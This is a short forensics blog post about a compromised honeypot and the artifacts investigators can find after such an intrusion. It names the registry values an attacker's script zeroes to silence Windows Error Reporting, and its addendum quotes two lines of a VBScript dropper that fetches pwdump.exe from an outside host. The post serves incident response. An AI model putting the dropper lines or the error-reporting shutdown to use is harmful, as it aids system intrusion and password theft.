Over on the Windows Forensic Analysis group, Hogfly mentioned something he'd found in a honeypot that had been compromised by the MS DNS exploit...a script that modified several values within the following Registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting

The values modified include:

AllOrNone
DoReport
IncludeKernelFaults
IncludeMicrosoftApps
IncludeWindowsApps
IncludeShutdownErrs
ShowUI

So, what's this all about? Remember how some malware tries to shut off AV software or the Windows Firewall? Well, the script that Hogfly found uses reg.exe to set all of the values (except the first one) to 0, and effectively shuts down any error reporting, which is essentially a visual notification that something is wrong on the system.

When performing IR or CF Registry analysis, this is another place to look regarding issues on a system following an intrusion or compromise. If nothing else, this sort of information can provide you with some insight as to the technical sophisitication of the attacker or malware author.

Addendum, 29 Apr: From Hogfly's updated post on the analysis of the honeypot: here's an extract from a .vbs script that was created on the system:

echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs

These lines make the resulting script work like a dropper, reaching out to another site and grabbing a file. Under the hood, the script uses the WinInet API (the "GET" functionality, specifically), which will leave other artifacts on the system; specifically, you will see web browser history (ie, Temporary Internet Files) for the "Default User". Robert Hensing has an excellent write-up on this phenomenon; in a nutshell, whenever the WinInet API functions are executed from a System-level account, the TIF history appears within the "Default User" profile.

Links
Error Reporting Policies and Advanced Features
BitCruncher Script for Annoyances